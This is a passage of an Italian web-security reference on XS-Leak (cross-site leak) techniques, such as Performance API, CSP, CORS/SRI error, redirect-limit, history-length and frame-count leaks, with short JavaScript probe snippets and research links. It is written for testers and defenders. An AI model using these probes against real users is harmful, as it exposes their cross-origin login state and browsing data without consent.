La tecnica è stata trovata in una tabella nel paper menzionato, ma non è stata trovata alcuna descrizione della tecnica. Tuttavia, è possibile trovare il codice sorgente che ne verifica la presenza in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

### Fuga di Pagina Vuota

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario:** Le risposte vuote non creano voci di temporizzazione delle risorse.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)

Un attaccante può rilevare se una richiesta ha generato un corpo di risposta HTTP vuoto poiché le **pagine vuote non creano una voce di prestazione in alcuni browser**.

### **Fuga XSS-Auditor**

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario:** Utilizzando l'Auditor XSS nelle Asserzioni di Sicurezza, gli attaccanti possono rilevare elementi specifici delle pagine web osservando le modifiche nelle risposte quando i payload creati attivano il meccanismo di filtraggio dell'auditor.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)

Nelle Asserzioni di Sicurezza (SA), l'Auditor XSS, originariamente pensato per prevenire attacchi di Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per rivelare informazioni sensibili. Anche se questa funzionalità integrata è stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013, Braun e Heiderich hanno dimostrato che l'Auditor XSS poteva bloccare involontariamente script legittimi, portando a falsi positivi. Basandosi su questo, i ricercatori hanno sviluppato tecniche per estrarre informazioni e rilevare contenuti specifici su pagine cross-origin, un concetto noto come XS-Leaks, inizialmente segnalato da Terada ed elaborato da Heyes in un post sul blog. Anche se queste tecniche erano specifiche per l'Auditor XSS in GC, è stato scoperto che in SA, le pagine bloccate dall'Auditor XSS non generano voci nell'API delle Prestazioni, rivelando un metodo attraverso il quale informazioni sensibili potrebbero ancora essere divulgate.

### Fuga X-Frame

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Intestazione
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Sommario:** Una risorsa con l'intestazione X-Frame-Options non crea una voce di temporizzazione delle risorse.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)

Se una pagina **non è autorizzata** a essere **renderizzata** in un **iframe**, non crea una voce di prestazione. Di conseguenza, un attaccante può rilevare l'intestazione di risposta **`X-Frame-Options`**.\
Lo stesso accade se si utilizza un **tag di incorporamento.**

### Rilevamento del Download

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Intestazione
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario:** I download non creano voci di temporizzazione delle risorse nell'API delle Prestazioni.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)

Analogamente alla XS-Leak descritta, una **risorsa che viene scaricata** a causa dell'intestazione ContentDisposition, non crea nemmeno una voce di prestazione. Questa tecnica funziona in tutti i principali browser.
### Inizio Reindirizzamento Leak

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Reindirizzamento
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario**: L'ingresso del tempo delle risorse rivela l'ora di inizio di un reindirizzamento.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)

Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste tra origini diverse. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse tra origini diverse. Tuttavia, in **SA** è possibile rilevare se l'utente viene **reindirizzato** dalla pagina di destinazione, interrogando il **Performance API** e verificando i dati temporali di **redirectStart**.

### Durata Reindirizzamento Leak

* **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Reindirizzamento
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario**: La durata delle voci temporali è negativa quando si verifica un reindirizzamento.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)

In GC, la **durata** delle richieste che risultano in un **reindirizzamento** è **negativa** e può quindi essere **distinguibile** dalle richieste che non comportano un reindirizzamento.

### Leak CORP

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Intestazione
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario**: Le risorse protette con CORP non creano voci temporali delle risorse.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)

In alcuni casi, l'**entry nextHopProtocol** può essere utilizzata come tecnica di leak. In GC, quando l'**intestazione CORP** è impostata, il nextHopProtocol sarà **vuoto**. Si noti che SA non creerà affatto una voce di performance per le risorse abilitate a CORP.

### Service Worker

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Utilizzo API
* **Ulteriori informazioni**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Sommario**: Rilevare se un service worker è registrato per un'origine specifica.
* **Esempio di Codice**:

I service worker sono contesti di script basati su eventi che vengono eseguiti su un'origine. Eseguono in background una pagina web e possono intercettare, modificare e **memorizzare risorse** per creare un'applicazione web offline.\
Se una **risorsa memorizzata nella cache** da un **service worker** viene accessa tramite **iframe**, la risorsa verrà **caricata dalla cache del service worker**.\
Per rilevare se la risorsa è stata **caricata dalla cache del service worker**, può essere utilizzato il **Performance API**.\
Questo potrebbe essere fatto anche con un attacco di Timing (consultare il paper per ulteriori informazioni).

### Cache

* **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Timing
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Sommario**: È possibile verificare se una risorsa è stata memorizzata nella cache.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))

Utilizzando il [Performance API](xs-search.md#performance-api) è possibile verificare se una risorsa è memorizzata nella cache.

### Durata Rete

* **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Contenuto Pagina
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Sommario**: È possibile recuperare la durata della rete di una richiesta dal `performance` API.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)

## Tecnica Messaggi di Errore

### Errore Media

* **Metodi di Inclusione**: Elementi HTML (Video, Audio)
* **Differenza Rilevabile**: Codice di Stato
* **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Sommario**: In Firefox è possibile rivelare con precisione il codice di stato di una richiesta tra origini diverse.
* **Esempio di Codice**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
### Errore CORS

* **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Intestazione
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Sommario:** Nelle Dichiarazioni di Sicurezza (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate.
* **Esempio di Codice**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

Questa tecnica consente a un attaccante di **evidenziare la destinazione di un reindirizzamento di un sito cross-origin** sfruttando il modo in cui i browser basati su Webkit gestiscono le richieste CORS. In particolare, quando una richiesta **abilitata a CORS** viene inviata a un sito di destinazione che emette un reindirizzamento basato sullo stato dell'utente e il browser successivamente nega la richiesta, l'**URL completo del target del reindirizzamento** viene rivelato all'interno del messaggio di errore. Questa vulnerabilità non solo rivela il reindirizzamento ma espone anche il punto finale del reindirizzamento e eventuali **parametri di query sensibili** che potrebbe contenere.

### Errore SRI

* **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Intestazione
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Sommario:** Nelle Dichiarazioni di Sicurezza (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate.
* **Esempio di Codice**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

Un attaccante può sfruttare i **messaggi di errore dettagliati** per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Integrità delle Risorse Secondarie (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Perché SRI funzioni su risorse cross-origin, queste devono essere **abilitate a CORS**; altrimenti, non sono soggette a controlli di integrità. Nelle Dichiarazioni di Sicurezza (SA), simile al leak XS-CORS, un messaggio di errore può essere catturato dopo una richiesta fetch con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente **scatenare questo errore** assegnando un **valore hash fasullo** all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa fuga di informazioni consente a un attaccante di distinguere le variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak.

### Violazione/Rilevamento CSP

* **Metodi di Inclusione**: Pop-up
* **Differenza Rilevabile**: Codice di Stato
* **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Sommario:** Consentendo solo il sito delle vittime nella CSP, se proviamo ad accedervi e cerca di reindirizzare su un dominio diverso, la CSP attiverà un errore rilevabile.
* **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

Un XS-Leak può utilizzare la CSP per rilevare se un sito cross-origin è stato reindirizzato su un'origine diversa. Questa fuga può rilevare il reindirizzamento, ma inoltre, il dominio del target del reindirizzamento viene rivelato. L'idea di base di questo attacco è **consentire il dominio di destinazione sul sito dell'attaccante**. Una volta emessa una richiesta al dominio di destinazione, questo si **reindirizza** su un dominio cross-origin. La **CSP blocca** l'accesso ad esso e crea un **rapporto di violazione utilizzato come tecnica di leak**. A seconda del browser, **questo rapporto può rivelare la posizione di destinazione del reindirizzamento**.\
I browser moderni non indicano l'URL a cui è stato reindirizzato, ma è comunque possibile rilevare che è stato attivato un reindirizzamento cross-origin.

### Cache

* **Metodi di Inclusione**: Frame, Pop-up
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Sommario:** Cancella il file dalla cache. Apre la pagina di destinazione e verifica se il file è presente nella cache.
* **Esempio di Codice:**

I browser potrebbero utilizzare una cache condivisa per tutti i siti web. Indipendentemente dalla loro origine, è possibile dedurre se una pagina di destinazione ha **richiesto un file specifico**.

Se una pagina carica un'immagine solo se l'utente è autenticato, è possibile **invalidare** la **risorsa** (in modo che non sia più in cache se lo era, vedi link per ulteriori informazioni), **effettuare una richiesta** che potrebbe caricare quella risorsa e provare a caricare la risorsa **con una richiesta errata** (ad esempio utilizzando un header referer troppo lungo). Se il caricamento della risorsa **non attiva alcun errore**, è perché era **in cache**.

### Direttiva CSP

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Intestazione
* **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Sommario:** Le direttive dell'intestazione CSP possono essere esplorate utilizzando l'attributo iframe CSP, rivelando dettagli della policy.
* **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di **proporre una Content Security Policy (CSP)** impostando un attributo su un elemento iframe, con direttive di policy trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve **autorizzare questo tramite un'intestazione HTTP**, altrimenti viene visualizzata una **pagina di errore**. Tuttavia, se l'iframe è già regolato da una CSP e la nuova policy proposta non è più restrittiva, la pagina verrà caricata normalmente. Questo meccanismo apre una via per un attaccante per **rilevare specifiche direttive CSP** di una pagina cross-origin identificando la pagina di errore. Anche se questa vulnerabilità è stata segnalata come risolta, le nostre scoperte rivelano una **nuova tecnica di leak** in grado di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente risolto.

### **CORP**

* **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Intestazione
* **Ulteriori informazioni**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Sommario:** Le risorse protette con Cross-Origin Resource Policy (CORP) genereranno un errore quando recuperate da un'origine non consentita.
* **Esempio di Codice**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
### CORB

* **Metodi di Inclusione**: Elementi HTML
* **Differenza Rilevabile**: Intestazioni
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Sommario**: CORB può consentire agli attaccanti di rilevare la presenza dell'intestazione **`nosniff`** nella richiesta.
* **Esempio di Codice**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Controlla il link per ulteriori informazioni sull'attacco.

### Errore CORS sulla configurazione errata di Origin Reflection <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Intestazioni
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Sommario**: Se l'intestazione Origin viene riflessa nell'intestazione `Access-Control-Allow-Origin`, è possibile verificare se una risorsa è già presente nella cache.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può sfruttare questo comportamento per provare a **recuperare** la **risorsa** in modalità **CORS**. Se non viene **generato un errore**, significa che è stata **recuperata correttamente dal web**, se viene generato un errore, è perché è stata **acceduta dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante).\
Nota che se l'origine non viene riflessa ma viene utilizzato un carattere jolly (`Access-Control-Allow-Origin: *`), questo metodo non funzionerà.

## Tecnica degli Attributi Leggibili

### Reindirizzamento Fetch

* **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Codice di Stato
* **Ulteriori informazioni**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Sommario:** GC e SA consentono di verificare il tipo di risposta (redirezione opaca) dopo il completamento del reindirizzamento.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Inviando una richiesta utilizzando Fetch API con `redirect: "manual"` e altri parametri, è possibile leggere l'attributo `response.type` e se è uguale a `opaqueredirect`, allora la risposta è stata un reindirizzamento.

### COOP

* **Metodi di Inclusione**: Pop-up
* **Differenza Rilevabile**: Intestazione
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Sommario:** Le pagine protette dalla Cross-Origin Opener Policy (COOP) impediscono l'accesso da interazioni cross-origin.
* **Esempio di Codice**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per impedire ai siti esterni di ottenere riferimenti a finestre arbitrari. La visibilità di questa intestazione può essere individuata tentando di accedere al riferimento **`contentWindow`**. Nei casi in cui COOP viene applicato condizionalmente, la proprietà **`opener`** diventa un indicatore rivelatore: è **non definita** quando COOP è attiva e **definita** in sua assenza.

### Lunghezza Massima dell'URL - Lato Server

* **Metodi di Inclusione**: Fetch API, Elementi HTML
* **Differenza Rilevabile**: Codice di Stato / Contenuto
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Sommario:** Rilevare differenze nelle risposte a causa della lunghezza della risposta al reindirizzamento potrebbe essere troppo grande in modo che il server risponda con un errore e venga generato un avviso.
* **Esempio di Codice**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

Se un reindirizzamento lato server utilizza **input utente all'interno del reindirizzamento** e **dati aggiuntivi**, è possibile rilevare questo comportamento perché di solito i **server** hanno un **limite di lunghezza della richiesta**. Se i **dati utente** sono di quella **lunghezza - 1**, poiché il **reindirizzamento** sta utilizzando **quei dati** e **aggiungendo** qualcosa **in più**, verrà generato un **errore rilevabile tramite Error Events**.

Se in qualche modo è possibile impostare i cookie per un utente, è possibile eseguire questo attacco **impostando abbastanza cookie** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) in modo che con la **dimensione della risposta aumentata** della **risposta corretta** venga generato un **errore**. In questo caso, ricorda che se attivi questa richiesta da un sito stesso, `<script>` invierà automaticamente i cookie (così puoi controllare gli errori).\
Un esempio del **cookie bomb + XS-Search** può essere trovato nella soluzione prevista di questo articolo: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` o essere nello stesso contesto è di solito necessario per questo tipo di attacco.

### Lunghezza Massima dell'URL - Lato Client

* **Metodi di Inclusione**: Pop-up
* **Differenza Rilevabile**: Codice di Stato / Contenuto
* **Ulteriori informazioni**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Sommario:** Rilevare differenze nelle risposte a causa della lunghezza della risposta al reindirizzamento potrebbe essere troppo grande per una richiesta in modo che una differenza possa essere notata.
* **Esempio di Codice**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

Secondo la [documentazione di Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), la lunghezza massima dell'URL di Chrome è di 2MB.

> In generale, la _piattaforma web_ non ha limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). _Chrome_ limita gli URL a una lunghezza massima di **2MB** per motivi pratici e per evitare problemi di negazione del servizio nella comunicazione tra processi.

Pertanto, se l'**URL di reindirizzamento risponde è più grande in uno dei casi**, è possibile farlo reindirizzare con un **URL più grande di 2MB** per colpire il **limite di lunghezza**. Quando ciò accade, Chrome mostra una pagina **`about:blank#blocked`**.

La **differenza rilevabile** è che se il **reindirizzamento** è stato **completato**, `window.origin` genera un **errore** perché un'origine incrociata non può accedere a queste informazioni. Tuttavia, se il **limite** è stato **raggiunto** e la pagina caricata era **`about:blank#blocked`**, l'**`origin`** della finestra rimane quello del **genitore**, che è un'**informazione accessibile**.

Tutte le informazioni aggiuntive necessarie per raggiungere i **2MB** possono essere aggiunte tramite un **hash** nell'URL iniziale in modo che venga **utilizzato nel reindirizzamento**.

{% content-ref url="xs-search/url-max-length-client-side.md" %}
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
{% endcontent-ref %}
### Numero massimo di reindirizzamenti

* **Metodi di inclusione**: Fetch API, Frames
* **Differenza rilevabile**: Codice di stato
* **Ulteriori informazioni**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **Sommario:** Utilizzare il limite di reindirizzamenti del browser per verificare la presenza di reindirizzamenti URL.
* **Esempio di codice**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

Se il **numero massimo** di **reindirizzamenti** da seguire di un browser è **20**, un attaccante potrebbe provare a caricare la sua pagina con **19 reindirizzamenti** e infine **mandare la vittima** alla pagina testata. Se viene generato un **errore**, allora la pagina stava cercando di **reindirizzare la vittima**.

### Lunghezza della cronologia

* **Metodi di inclusione**: Frames, Pop-up
* **Differenza rilevabile**: Reindirizzamenti
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **Sommario:** Il codice JavaScript manipola la cronologia del browser e può essere accessibile tramite la proprietà length.
* **Esempio di codice**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

L'API della **cronologia** consente al codice JavaScript di manipolare la cronologia del browser, che **salva le pagine visitate da un utente**. Un attaccante può utilizzare la proprietà length come metodo di inclusione: per rilevare la navigazione JavaScript e HTML.\
Controllando `history.length`, facendo **navigare** un utente verso una pagina, **riportandolo** alla stessa origine e **controllando** il nuovo valore di **`history.length`**.

### Lunghezza della cronologia con lo stesso URL

* **Metodi di inclusione**: Frames, Pop-up
* **Differenza rilevabile**: Se l'URL è lo stesso di quello indovinato
* **Sommario:** È possibile indovinare se la posizione di un frame/popup è in un URL specifico abusando della lunghezza della cronologia.
* **Esempio di codice**: Di seguito

Un attaccante potrebbe utilizzare il codice JavaScript per **manipolare la posizione del frame/pop-up verso un URL indovinato** e **cambiarlo immediatamente a `about:blank`**. Se la lunghezza della cronologia aumenta, significa che l'URL era corretto ed ha avuto il tempo di **aumentare perché l'URL non viene ricaricato se è lo stesso**. Se non è aumentato, significa che ha **provato a caricare l'URL indovinato** ma poiché **immediatamente dopo** abbiamo caricato **`about:blank`**, la **lunghezza della cronologia non è mai aumentata** durante il caricamento dell'URL indovinato.
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### Conteggio Frame

* **Metodi di Inclusione**: Frame, Pop-up
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Sommario:** Valutare la quantità di elementi iframe ispezionando la proprietà `window.length`.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

Contare il **numero di frame in una pagina web** aperta tramite `iframe` o `window.open` potrebbe aiutare a identificare lo **stato dell'utente su quella pagina**.\
Inoltre, se la pagina ha sempre lo stesso numero di frame, controllare **continuamente** il numero di frame potrebbe aiutare a identificare un **pattern** che potrebbe rivelare informazioni.

Un esempio di questa tecnica è che in Chrome, un **PDF** può essere **rilevato** con il **conteggio dei frame** perché viene utilizzato internamente un `embed`. Ci sono [Parametri di URL Aperti](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) che consentono un certo controllo sul contenuto come `zoom`, `view`, `page`, `toolbar` dove questa tecnica potrebbe essere interessante.

### HTMLElements

* **Metodi di Inclusione**: Elementi HTML
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **Sommario:** Leggere il valore rivelato per distinguere tra 2 stati possibili
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

La fuga di informazioni attraverso gli elementi HTML è una preoccupazione nella sicurezza web, in particolare quando vengono generati file multimediali dinamici basati sulle informazioni dell'utente, o quando vengono aggiunti watermark, modificando le dimensioni dei media. Questo può essere sfruttato dagli attaccanti per differenziare tra possibili stati analizzando le informazioni esposte da determinati elementi HTML.

### Informazioni Esposte dagli Elementi HTML

* **HTMLMediaElement**: Questo elemento rivela i tempi di `durata` e `buffering` dei media, che possono essere accessibili tramite la sua API. [Ulteriori informazioni su HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: Espone `videoHeight` e `videoWidth`. In alcuni browser, sono disponibili proprietà aggiuntive come `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount`, offrendo informazioni più dettagliate sul contenuto multimediale. [Ulteriori informazioni su HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: Questa funzione fornisce dettagli sulla qualità della riproduzione video, inclusi `totalVideoFrames`, che possono indicare la quantità di dati video elaborati. [Ulteriori informazioni su getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
